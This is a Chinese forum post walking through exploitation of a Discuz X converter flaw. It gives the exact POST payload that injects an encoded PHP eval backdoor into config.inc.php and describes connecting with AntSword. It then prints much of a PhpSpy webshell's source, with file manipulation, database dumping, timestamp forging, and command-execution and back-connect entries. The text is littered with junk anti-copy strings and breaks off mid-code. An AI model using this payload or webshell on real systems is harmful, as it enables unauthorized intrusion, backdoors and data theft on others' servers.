找回密码
 立即注册
搜索
查看: 7654|回复: 0

网络安全实战之discuz上传漏洞利用

[复制链接]

977

主题

92

回帖

5万

积分

管理员

积分
52847
发表于 2022-6-25 09:01:11 | 显示全部楼层 |阅读模式

攻击思路:3 n. ^8 n& p0 Q# w
想要拿下一台主机A的权限:5 J6 L1 A  J4 y( N% c5 y
1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞
' V" X1 e: d, ?2、拿到对A有一定权限的身仹。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权
" ^: z1 ]; J( D, c3、传上去后,得到apache用户普通权限,再提权成root
% H. V3 p. |- {  X概述:
0 W/ I* b% @$ O) `5 y0 L' [这突破在一个DZ X系列自带的转换工具里面。/ S9 h) u" M, Y" ]# {- c
漏洞路径:utility / convert / data / config.inc.php, X; X, F+ P" E8 ~
漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无仸何过滤检测,所以通过post方式往config。inc.php中写木马程序。0 F1 M& k2 K( {! _
触发突破过程:$ y: E) J8 J+ R' h4 }
1、在浏览器中访问打开http://192.168.1.63/utility/convert/index.php  . n+ u6 V+ t: N3 J! u1 {* q- g: t
2、使用/utility/convert/index.php迚行版本转换3,config.inc.php文件没有做过滤,可以使用POST方法对config.inc.php注入木马程序
* K* |$ N6 Y  c& d6 B! d% Y0 B  F攻击过程:4 t# {* I. }2 ?3 G8 O
1、打开burp设置报文拦截,然后使用浏览器访问http://xxxxxxx.cn//utility/convert/
$ Q- o0 z1 s( @* U3 g, J
  O% P$ @, F% s7 t( {8 j' g% u$ L6 j/ H1 ?: b
2,右键单击空白处,选择发送到中继器,将报文发到中继器

3、然后在中继器中查看信息:

4、修改第一行:GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP / 1.1将第一行内容修改为:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

这是一个经过加密的一句话木马解密后内容如下:

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig[aaa   eval("$_POST[c];"););

eval()凼数中的eval是评估的简称,这个凼数的作用就是把一段指向PHP语句来执行

5、修改完成后发送数据包

6、刚刚上传的文件路径:http://xxxxxx.cn/utility/convert/data/config.inc.php

代码详细:

可以看到和我们修改提交的参数类似。而且多了很多^ M符号。

扩展:^ M符号^ M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r \n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^ M。所以^ M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除,%0a%0d等于\r\n

7、祭出祖传的中国蚁剑连接刚才上传的一句话木马# b/ e' w) ]1 @8 A# N

7 u' y+ K  C% G$ `8、通过中国蚁剑上传大码
: n/ J! x" Q, X& ?7 u  ^# W
. m7 k. _6 t3 Q, M
/ ^9 v8 [# R' ^7 @- a10、任意机器访问我们的webshell2.php木马文件,浏览器输入http://xxxxxx.cn/utility/convert/data/webshell2.p hp输入密码:cmd

webshell代码如下:

  1. <?php* t( b, `5 z4 T% Y& N: g

  2. $ W6 @( s4 v2 `' Q8 w+ @8 v
  3. /*****************************************************************************- G: R5 l0 K9 C6 K6 ]# U3 Y

  4. 9 I. ?+ ]9 [0 `! Q7 ]! \, N
  5. ===================== 请误用于非法用途,造成一切后果与本人无关。====================
    % ~: y3 g" m- J: b# a- _! p
  6. ' I  x8 U' V' ?3 l8 R  [. j
  7. ====# X: J1 E5 j5 ^4 W0 {- O/ j/ U
  8. 0 d/ {' w5 H, [$ _& ]! |  |) @

  9. " ?4 p1 V3 W3 s- u0 c+ S( ?% p
  10. *****************************************************************************/
    5 o" K1 E9 q, x2 U
  11. 9 E9 |/ c4 |4 J( v; T
  12. error_reporting(7);8 {  h3 D4 E4 A" J8 j5 D/ u8 v
  13. @set_magic_quotes_runtime(0);' J  m7 N& Z9 Y  P3 [% O6 K
  14. ob_start();
    8 B, Z# t  ?" x( c  Q/ O5 q
  15. $mtime = explode(' ', microtime());
    ' X# R" H3 V8 o: \" X. X) t9 D
  16. $starttime = $mtime[1] + $mtime[0];$ _3 m- k, F' W8 G3 r5 Y
  17. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');  ^4 |3 V8 p) q( ~* l- u$ _
  18. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );5 b# I, J7 ]) m& }" I
  19. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
    " z; o8 j% {* G9 L% z6 S
  20. define('IS_COM', class_exists('COM') ? 1 : 0 );
    2 A! f7 o5 Q7 b% ]0 }* f9 H
  21. define('IS_GPC', get_magic_quotes_gpc());0 u0 v/ w( W, |6 ^6 j# b
  22. $dis_func = get_cfg_var('disable_functions');
    - n% j9 u6 T" P% ?& |
  23. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
    7 Y& j% i/ M" |) p/ \
  24. @set_time_limit(0);
    ( `8 w7 u. E5 |/ I

  25. 0 @! H* u! D) E) o) J8 L0 J+ f4 H
  26. foreach(array('_GET','_POST') as $_request) {  X6 M$ u9 Z  ]
  27.         foreach($$_request as $_key => $_value) {/ v/ H* O  a* h' K2 t+ ]
  28.                 if ($_key{0} != '_') {
    ) j6 A8 ~1 [0 P  ^7 U! h
  29.                         if (IS_GPC) {
    1 U6 g2 v8 w: r# R
  30.                                 $_value = s_array($_value);- f( J- q$ E6 h6 T
  31.                         }
    + d: U* R1 \" N! t% a
  32.                         $$_key = $_value;
    7 e6 @& S. T$ h) ?/ g4 Q
  33.                 }8 h  P* S1 `; a) u6 f/ f3 p
  34.         }
    $ F* X* b+ E3 k. x  e$ L" x
  35. }% p: |0 h) V& Y9 u; d

  36. ' h+ h4 Z* E- R) b5 M4 M6 t( B2 n
  37. /*===================== 程序配置 =====================*/
    ) v  Y) w% ^! X* x: k* {0 s; p
  38. $admin = array();
    6 [" z+ [$ e# @; V/ \1 s8 y0 k
  39. // 是否需要密码验证, true 为需要验证, false 为直接进入.下面选项则无效
    : C5 P3 p% W. b8 e( n9 O
  40. $admin['check'] = true;  B& t* k4 E+ \) T
  41. // 如果需要密码验证,请修改登陆密码
    * D9 d" z# T+ o, v# A
  42. $admin['pass']  = 'xuegod';
    ' W$ Z9 V3 Y' H/ l: D2 t
  43. + \+ X; s9 W6 a
  44. //如您对 cookie 作用范围有特殊要求, 或登录不正常, 请修改下面变量, 否则请保持默认
    7 s' {& H6 q2 T- o4 a( O; Z" A' B5 l; l
  45. // cookie 前缀2 F3 x5 ^6 c8 |8 \. ~
  46. $admin['cookiepre'] = '';/ F) T! d- C0 k4 W. b3 d4 f2 z
  47. // cookie 作用域4 V7 ^! o- x/ z$ Q) e, l
  48. $admin['cookiedomain'] = '';
    2 a6 Q) M( U$ O' `5 D
  49. // cookie 作用路径
    ! Y& W  v$ B& s$ j6 y# G. X
  50. $admin['cookiepath'] = '/';
    8 j& t3 e8 `7 K- b- @
  51. // cookie 有效期
    4 K, O" \" h. s5 f8 `$ ?
  52. $admin['cookielife'] = 86400;
    1 W) \: z/ W# G* E/ R" a
  53. /*===================== 配置结束 =====================*/  `$ e9 l9 M7 t6 L- u% o

  54. 1 o' q+ ?. D' l8 ?; p3 p
  55. if ($charset == 'utf8') {
      `  u1 {6 r5 l& j2 ~  Q+ I
  56.         header("content-Type: text/html; charset=utf-8");  |: Y6 R9 \8 R, R, k- B8 W
  57. } elseif ($charset == 'big5') {* G$ |5 }9 b( J7 f6 v/ s
  58.         header("content-Type: text/html; charset=big5");
    : s  j  K$ \! s8 G8 P0 n6 @
  59. } elseif ($charset == 'gbk') {/ n( u3 z. r! s) _5 Y1 H, h+ ^5 \
  60.         header("content-Type: text/html; charset=gbk");  d1 M3 H. Y% T5 I. W- C; K' |
  61. } elseif ($charset == 'latin1') {+ H! m2 ~  e( R" T* W+ W: ~# I
  62.         header("content-Type: text/html; charset=iso-8859-2");* W' Z- Q- f' ^2 t6 [
  63. }- H( ~) N6 [8 t

  64. 1 N* c6 I: w7 `# e" B7 D, {
  65. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
    ' R  C( V5 @8 k2 ~' @$ n3 N( x" x
  66. $timestamp = time();+ h2 ^' R5 c8 ^% X6 y
  67. # `6 ~0 [* q& m3 l& E3 J; p. j
  68. /*===================== 身份验证 =====================*/6 l* \' S+ F. n8 y  k
  69. if ($action == "logout") {, b- h. U+ ]9 A9 g3 q$ _
  70.         scookie('phpspypass', '', -86400 * 365);- v3 w/ R! N. h; a8 }* ^! V
  71.         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    ( H- s" h2 z9 ~
  72.         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
    ! L6 I( f- \; U2 z' I0 w8 y
  73.         exit;2 Y; G; y  ^& Z( M' D
  74. }
    : Y/ D% U7 W; f, \2 D3 c# l
  75. if($admin['check']) {
    ! t  w; {* s) Z7 D, M' T
  76.         if ($doing == 'login') {
    & `' Q5 _' s. a
  77.                 if ($admin['pass'] == $password) {
      B" S6 ]3 K" F0 L
  78.                         scookie('phpspypass', $password);
    . {& N6 u" G8 D
  79.                         p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
    , q7 `# p* l2 s7 _' u
  80.                         p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');% e8 {1 R9 L& E' i! T
  81.                         exit;( y7 K: u2 b9 V; P. B
  82.                 }
    & u: N; q7 C5 \3 ^
  83.         }1 |, U+ k/ G" L* u7 B3 ~
  84.         if ($_COOKIE['phpspypass']) {
    2 i" h# B5 f: u2 S
  85.                 if ($_COOKIE['phpspypass'] != $admin['pass']) {2 q4 \; S4 F# B1 ]& a# b
  86.                         loginpage();/ V5 N2 q. h# h0 g' ]/ F
  87.                 }, g7 O/ J: b# r0 Z  ~" e
  88.         } else {
    - C8 g+ ^8 y! Z/ a- B3 E
  89.                 loginpage();
    / V* l' y! X6 Y) `0 v
  90.         }
    1 R7 p$ v2 V9 z4 X' ?
  91. }
    + q, ?, ^: N. `/ O4 r
  92. /*===================== 验证结束 =====================*/) a8 f$ L- O& ?; `9 b" [9 j

  93. . V5 \1 H. _, x; w7 w- l6 L$ _
  94. $errmsg = '';
    : e+ q  e" G  E; G0 U  u6 S

  95. 0 g6 L5 Q2 M+ _' X# ]
  96. // 查看PHPINFO/ n# b. K0 ^" W$ O" [+ P5 B
  97. if ($action == 'phpinfo') {7 k1 C; E8 I( f/ L4 {" L
  98.         if (IS_PHPINFO) {: e9 [. I' f- Q( U1 c, z- z2 w
  99.                 phpinfo();- q1 U7 r: R$ C' A; i
  100.         } else {
    6 G1 d5 H! G. n6 |( d4 u
  101.                 $errmsg = 'phpinfo() function has non-permissible';
      m3 A& y% d8 y+ A# h
  102.         }7 `4 r3 k) _8 N2 b3 p" L- o
  103. }
    7 C7 j1 S% C0 |6 L+ Q6 Q
  104. / W- w* v) S( W  d
  105. // 下载文件
    7 v) W/ Q  m+ Z  i/ E  r
  106. if ($doing == 'downfile' && $thefile) {
    + E& Y& R$ B; X, @+ v4 }
  107.         if (!@file_exists($thefile)) {* ^0 `0 F2 ]: ?% }; ]' J6 P4 ]
  108.                 $errmsg = 'The file you want Downloadable was nonexistent';. E" ?# H4 X! i
  109.         } else {
    - T- G7 c  a) `; A6 N
  110.                 $fileinfo = pathinfo($thefile);, o- u* U; ?' [" H6 o
  111.                 header('Content-type: application/x-'.$fileinfo['extension']);6 L' u% C; j% Q
  112.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);/ U( X* n* j% I) _
  113.                 header('Content-Length: '.filesize($thefile));8 M4 z! _+ K# V; }
  114.                 @readfile($thefile);5 {9 z$ ?3 [! ^! ^8 c9 K  c
  115.                 exit;
    : |$ p( f. l7 Z- q6 }5 B9 b
  116.         }
    3 {2 T! S1 J9 I/ g4 e
  117. }
    - ?8 U, g( H4 w

  118. : p' s& n  k# y( [- }
  119. // 直接下载备份数据库
    " B- d( c: ?* U( t( E1 b6 c
  120. if ($doing == 'backupmysql' && !$saveasfile) {7 Z' k" h7 q7 |) p2 x
  121.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    9 O3 O  B0 V& _% u. |" T
  122.         $table = array_flip($table);
    : x2 X' V0 T% o/ F* }
  123.         $result = q("SHOW tables");, k2 Y' y! P& J5 c- j
  124.         if (!$result) p('<h2>'.mysql_error().'</h2>');
    % s7 j: `6 O  w8 O4 |
  125.         $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');! B* _! k# ]: P) U" @3 I0 I1 i
  126.         header('Content-type: application/unknown');
    + T  H4 A7 V) |4 X
  127.         header('Content-Disposition: attachment; filename='.$filename);3 {0 @3 A. n% i. ~
  128.         $mysqldata = '';
    + N- R5 y8 Z( ]
  129.         while ($currow = mysql_fetch_array($result)) {$ ~2 Q; k. ~$ U% h. U- @
  130.                 if (isset($table[$currow[0]])) {
    1 s, I- Y$ H9 X" F& c
  131.                         $mysqldata .= sqldumptable($currow[0]);
    6 E5 w8 r6 C% v. W7 b' X% |
  132.                 }
    1 E3 t* N: Q% q5 w
  133.         }" B0 o) i1 W+ v# R5 R
  134.         mysql_close();
    : Y6 C- b% w6 Z
  135.         exit;, |: @6 N* F$ p" y; s& A$ z
  136. }! e" l- F, ]2 i# S. [. I

  137. 1 V- a$ p1 N- w. Q# }
  138. // 通过MYSQL下载文件6 M. e- Q  ?6 q0 B1 Z- o7 b- Q
  139. if($doing=='mysqldown'){
    0 g, V7 J, T$ G" f7 F4 a
  140.         if (!$dbname) {
    ' A: W. s# ]# w7 L7 [/ s% n
  141.                 $errmsg = 'Please input dbname';, }1 V9 p, q5 ?: E2 R
  142.         } else {
    9 ]* h# [7 e+ A& b! m
  143.                 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);" T1 n7 u. ?: j0 D) i) T" m- X! k: l3 q
  144.                 if (!file_exists($mysqldlfile)) {4 L* [3 R# F) `- A5 w' d+ R
  145.                         $errmsg = 'The file you want Downloadable was nonexistent';
    ' Y# z) q4 l* m0 C* K9 ~4 E. T8 B
  146.                 } else {  f" M" B$ Q% X# t$ c6 f
  147.                         $result = q("select load_file('$mysqldlfile');");
    + F# |' v, s$ w  g
  148.                         if(!$result){
    9 R% t& f1 M, J+ ~* h' ]8 o
  149.                                 q("DROP TABLE IF EXISTS tmp_angel;");6 V2 b6 _6 c* c8 H1 Y+ d1 Y
  150.                                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
    ! g# o& [, Z8 B4 z/ C' c
  151.                                 //用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况
    6 m4 c  H! M8 }# ]* e  H2 a
  152.                                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
    8 M3 [0 L' w$ }5 x6 B  T7 g5 w
  153.                                 $result = q("select content from tmp_angel");
    7 m7 s1 _' \* t# F1 M
  154.                                 q("DROP TABLE tmp_angel");
    ) y$ O2 C. ?+ g+ u
  155.                         }- v4 i3 ]0 P2 s- r1 j# D
  156.                         $row = @mysql_fetch_array($result);- P* o! |% Y3 a. \7 N8 Y# ?
  157.                         if (!$row) {& s# W; z7 v1 Y- f+ n+ J) H
  158.                                 $errmsg = 'Load file failed '.mysql_error();* Z0 R+ l: Q: ~6 @- Z% W9 ^
  159.                         } else {
    & o6 k- H/ ]' O) L  x; \% R' G
  160.                                 $fileinfo = pathinfo($mysqldlfile);  Y; t8 i# y* M% t4 p; `) M
  161.                                 header('Content-type: application/x-'.$fileinfo['extension']);: c4 G3 d7 [0 H. @2 g$ y, c+ H
  162.                                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
    4 n. k4 x9 K; a) x4 y. W8 \$ Q
  163.                                 header("Accept-Length: ".strlen($row[0]));
    1 ?9 x* O+ G) O0 [# \+ _( m
  164.                                 echo $row[0];% B8 A$ a/ _, O$ C' v6 [
  165.                                 exit;8 F4 k( G  e( Z$ @9 z, b$ K
  166.                         }7 W6 e* l  z6 m0 v, Y" K
  167.                 }# P, u# p5 C- i/ f4 D
  168.         }% I9 ?' f3 g! ]  V# k
  169. }
    , ~8 l: h% C* |0 |
  170. 6 P' Y! x) i- A+ H% N% c) }
  171. ?>
    6 D. ~6 Q, J5 o- y9 @  w; Z8 i
  172. <html>8 N+ O4 V0 [- G3 A1 q
  173. <head>6 {4 d( S' [: ]0 W6 D
  174. <meta http-equiv="Content-Type" content="text/html; charset=gbk">* U( _) |: c: {0 l* I/ C
  175. <title><?php echo str_replace('.','','P.h.p.S.p.y');?></title>% m5 t* D$ {) {0 L; O
  176. <style type="text/css">' q& w* ^) }2 h, T! n) }$ {8 Q
  177. body,td{font: 12px Arial,Tahoma;line-height: 16px;}5 A9 U6 z8 o" Z  r- }7 I3 V3 c
  178. .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}/ L2 \( v- U) r  e
  179. .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
    * ^+ p3 z( W/ e# f
  180. .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
    / f0 ?$ [$ a; R) J+ J0 t  o
  181. a {color: #00f;text-decoration:underline;}# z) g$ a% k# b
  182. a:hover{color: #f00;text-decoration:none;}
    5 J$ S1 v5 N  `" j& q
  183. .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}7 [* w  B0 S5 e4 W+ _
  184. .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
    ) Z' m" f/ Y6 Q# j% H
  185. .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
    ; n$ A+ Y. w! S$ R
  186. .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}" F& c) w' V) P: E0 i, \) c" {
  187. .head td span{font-weight:normal;}6 @! J4 Y: h/ y4 {: M' }% j, H
  188. form{margin:0;padding:0;}  m% S( [* B7 R5 a7 H# g
  189. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}3 }: l% m& u3 n2 J- f3 z* E
  190. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
    - d; C2 R1 }% G+ ?$ o
  191. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}  R6 f' t( W0 h( M2 P
  192. </style>
    , o8 g9 E' Y0 {1 J' k
  193. <script type="text/javascript">; s+ b, j" r+ h# F) X. l
  194. function CheckAll(form) {
    4 R# ~1 @( N/ k3 r3 x7 n3 N. l5 O
  195.         for(var i=0;i<form.elements.length;i++) {( j) y9 i& g0 y6 v# n
  196.                 var e = form.elements[i];/ n- H, f- F, H' d, z& ~
  197.                 if (e.name != 'chkall'). D7 ]$ i* [( A
  198.                 e.checked = form.chkall.checked;
    . S+ J2 h0 N8 ]
  199.     }' }: S" I1 v" e0 T+ F. I0 M
  200. }
    / d; `. l) x' v
  201. function $(id) {
    , G3 e, ?- R, F9 @- Q- U0 Z+ K
  202.         return document.getElementById(id);
    # Y  C  W/ l- B- a4 q
  203. }3 h) c( L: k2 i8 y
  204. function goaction(act){
    - S4 X! `" d+ ?+ w
  205.         $('goaction').action.value=act;
    # }4 o- e/ z6 r( D' Q% c# [% g
  206.         $('goaction').submit();
    4 e/ v7 y9 F* ?- l* I# n! N9 i; G
  207. }* G: B7 y, }8 V: L" o
  208. </script>
    ) I! C7 G& T( z( F0 R
  209. </head>
    ; ^: W& \2 t" G* T# Q3 X
  210. <body style="margin:0;table-layout:fixed; word-break:break-all">$ l  n* O- H7 @4 o  k5 |
  211. <table width="100%" border="0" cellpadding="0" cellspacing="0">4 e& K5 A0 c5 }3 _2 E
  212.         <tr class="head">
    : z* H% W% |: C5 E; p
  213.                 <td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> Ver: 2008</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>. q% R. d& u3 i! {4 L0 h
  214.         </tr>8 v4 Z: r3 [! D) j- T
  215.         <tr class="alt1">
    ! Y! S4 V7 K, h$ K8 ]5 O. Y: v
  216.                 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>1 T) x6 M8 V& o! g* g) E- k: h; |
  217.                         <a href="javascript:goaction('logout');">Logout</a> | 4 ]* s: y3 w5 \; ]+ T5 j
  218.                         <a href="javascript:goaction('file');">File Manager</a> |
    3 Q5 ^1 ^; o8 I9 m" W9 Z
  219.                         <a href="javascript:goaction('sqladmin');">MySQL Manager</a> | 9 v+ K3 `- g* L5 x* D8 O8 l6 b2 e8 h# ^
  220.                         <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> | & ]& |* _) Y1 J$ Z1 {
  221.                         <a href="javascript:goaction('shell');">Execute Command</a> | 9 l9 d& D7 N. ]; w9 @' A# a
  222.                         <a href="javascript:goaction('phpenv');">PHP Variable</a> |
    6 H1 R; B! n" r( G) U
  223.                         <a href="javascript:goaction('eval');">Eval PHP Code</a>
    6 {: ^# E( O3 E5 `4 d
  224.                         <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
    0 O9 F8 I, |6 }+ t% S
  225.                 </td>, i" g* s3 ?1 P% \$ b
  226.         </tr>/ f$ M9 ?, c- D  ^0 Z
  227. </table>8 E3 w& q6 H5 d
  228. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>( m) _6 A: ?. l' ]* K2 ^
  229. <?php
    ( q+ S* C; V: M' Q5 J( I. J' c

  230.   b& c# f. {5 N2 u
  231. formhead(array('name'=>'goaction'));
    ' N/ H7 `: |3 L9 n
  232. makehide('action');
    3 U+ P% C( T# |$ @. A. G9 I" b! ?
  233. formfoot();
    & [+ ]7 |' I$ n; d( a6 S, F
  234. ' I* o$ U, e0 k" e, r. h
  235. $errmsg && m($errmsg);
    ( Z% A' b4 _! X. g. I

  236. $ x+ E2 l" n4 A3 z8 y2 }
  237. // 获取当前路径5 V0 {) a9 I! e& T5 e0 P/ p
  238. !$dir && $dir = '.';6 D  p1 |. D5 ]8 \$ ]+ O
  239. $nowpath = getPath(SA_ROOT, $dir);
    7 I2 w1 d/ U* X$ c1 ^8 i
  240. if (substr($dir, -1) != '/') {( L- c" p1 }0 w$ {! \+ R
  241.         $dir = $dir.'/';7 T4 y  Y4 I2 L, W: u
  242. }, ?- X, t# N+ H% G" K
  243. $uedir = ue($dir);
    - t0 r& ?7 q! E
  244. , X8 L7 Y2 D: @& x9 J& R
  245. if (!$action || $action == 'file') {, v) Y8 \0 e2 q3 w3 D
  246. . M7 o  `6 B1 v* w9 @/ l
  247.         // 判断读写情况
    . W# Z0 o: P# m
  248.         $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';$ d9 c- v) O$ I9 H7 {6 f& `6 V7 }

  249. 9 m) n' Q6 t% S) _
  250.         // 删除目录
    ! w3 m  k# @; p! o5 U4 ^
  251.         if ($doing == 'deldir' && $thefile) {
    6 w# Q9 l2 k+ T3 H, A4 s7 l
  252.                 if (!file_exists($thefile)) {9 C: C  |" x3 I9 i' s/ s
  253.                         m($thefile.' directory does not exist');
    * a2 a- Z. V" w& k2 t
  254.                 } else {
    ! P4 u' R6 |& ~" p6 I) j4 a/ K
  255.                         m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));' N6 l: Z6 ]7 N& \7 m# Y* J
  256.                 }7 u0 o; Q: v' `0 D! p
  257.         }
    6 b( }  l( a" p; a- c

  258. / i# t, S; X: B0 y, L
  259.         // 创建目录/ B: D0 A. D0 [' C/ c1 r
  260.         elseif ($newdirname) {
    / l$ D2 @3 K0 Z
  261.                 $mkdirs = $nowpath.$newdirname;/ K2 ]$ F  _. k( T3 r
  262.                 if (file_exists($mkdirs)) {
    - i, T6 A; q4 w. X% N* K
  263.                         m('Directory has already existed');
    4 p3 J* e" t7 q
  264.                 } else {$ c- [9 U- h' k/ |5 O) `' u' v
  265.                         m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));6 Q+ {6 o0 X) l' K0 l3 T5 }5 j' E0 h: b
  266.                         @chmod($mkdirs,0777);
    , _! ]! D; n$ F7 P. c2 H# j$ @
  267.                 }2 l$ f7 z# z9 R4 N9 T
  268.         }
    # k/ W4 Q2 m$ s9 [4 L$ \
  269. 0 {% V. L4 F# s; h
  270.         // 上传文件3 o# o6 `" v  V
  271.         elseif ($doupfile) {
    $ ^6 f9 u0 u- V+ P( V
  272.                 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
    - l" r2 h/ @) j) B1 J" a5 W
  273.         }( a$ n+ S; _* ]3 x% m

  274. 2 P' F9 d; I9 ~8 N4 B7 M
  275.         // 编辑文件# x. c; c! k8 c; x; ?
  276.         elseif ($editfilename && $filecontent) {1 W: A: M6 c, n% Y& U9 F+ U( o7 @# s
  277.                 $fp = @fopen($editfilename,'w');
    % t4 M9 O3 @/ X6 F
  278.                 m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
    , \. v  [8 h& n) _$ m* e. Z, t
  279.                 @fclose($fp);- T' J3 B. X+ B5 p6 Z5 W
  280.         }
    6 K+ f& |! J7 e4 N
  281. 5 J% o' _3 v: k6 c# D5 g
  282.         // 编辑文件属性
    6 D2 K! y9 _  s) {3 I  D" e1 ~
  283.         elseif ($pfile && $newperm) {
    1 V. T$ f+ j1 L1 N# \
  284.                 if (!file_exists($pfile)) {
    8 `) q/ d; N: w% z
  285.                         m('The original file does not exist');$ o, `% P  m1 U, O* k3 {
  286.                 } else {
    : J1 K: ~/ S" y, l. }% Y( |# Q5 J
  287.                         $newperm = base_convert($newperm,8,10);0 P2 B& n% N8 C: [9 t
  288.                         m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));, R$ X. o0 j- i" e: \
  289.                 }
    3 @5 P- w- T' T( A/ U3 M
  290.         }% ^1 J# B* |7 @. w% \* N

  291. ' d2 J; ?% Z& f: x5 e
  292.         // 改名
    - y& |( j" W. Z0 ]: v  _% O+ f
  293.         elseif ($oldname && $newfilename) {
    6 N. o# W/ Y  ^! w
  294.                 $nname = $nowpath.$newfilename;
    ) x9 _0 Q% v. p
  295.                 if (file_exists($nname) || !file_exists($oldname)) {  X2 o( S2 Y: y1 @. U" y. d0 H
  296.                         m($nname.' has already existed or original file does not exist');
    2 k: {% `3 u8 I, R" T
  297.                 } else {" J7 k' @, i6 Z7 {
  298.                         m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
    ; p, F) m4 p+ y2 Z' z
  299.                 }
    , Z& ^' Z# E& q" U6 ~, ^- D, P
  300.         }
    ! ^9 B  ?# t4 f9 e- u$ t  l

  301. 7 U; S* E3 C1 @& l
  302.         // 复制文件
    $ \' _+ s* R. m1 G! T1 M
  303.         elseif ($sname && $tofile) {
    8 l2 Q( U, H8 }* L4 e0 ^9 P8 [) k. n
  304.                 if (file_exists($tofile) || !file_exists($sname)) {
    - b- j+ N* a( \
  305.                         m('The goal file has already existed or original file does not exist');
    8 s' s% w5 b: g# {! t9 j; m
  306.                 } else {
    3 r; L8 @9 s( n6 L, z5 I) z' P
  307.                         m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
    2 L* h* X9 h  b+ g7 [
  308.                 }
    3 i( _$ L$ Y1 J( |! R$ x
  309.         }
    3 L: L" G4 e0 s* }& `  _7 H

  310. . G1 c. f# b# o2 D# s  b
  311.         // 克隆时间% Z' R: \4 D2 F: D# Y
  312.         elseif ($curfile && $tarfile) {& u5 J% h& g) c& |( k2 ~
  313.                 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
    6 J( \' v3 D5 F. V/ V% s, {' M
  314.                         m('The goal file has already existed or original file does not exist');' ]4 |! [. H; P, a3 J9 h
  315.                 } else {
    5 P' G7 \8 N) Q# a9 c, i2 S! ~" ?
  316.                         $time = @filemtime($tarfile);. F" k0 J& E5 I9 ?# b
  317.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));; V' Y! H$ Z, F) \3 D# E
  318.                 }) m( i5 ?% P3 f& @: f+ ?
  319.         }) K7 O6 X$ M5 a
  320. + S* Q: I. R: w2 R
  321.         // 自定义时间4 w& @7 k* L3 f8 n" A( `
  322.         elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
    8 H2 v' Y0 M. ~% D8 @" b) A3 g
  323.                 if (!@file_exists($curfile)) {2 F7 t' z1 q' j( X- A
  324.                         m(basename($curfile).' does not exist');- _6 H; j0 m, w& I, C
  325.                 } else {
      P+ {6 P  x8 C2 T8 L
  326.                         $time = strtotime("$year-$month-$day $hour:$minute:$second");  R5 z. ]+ D1 Q
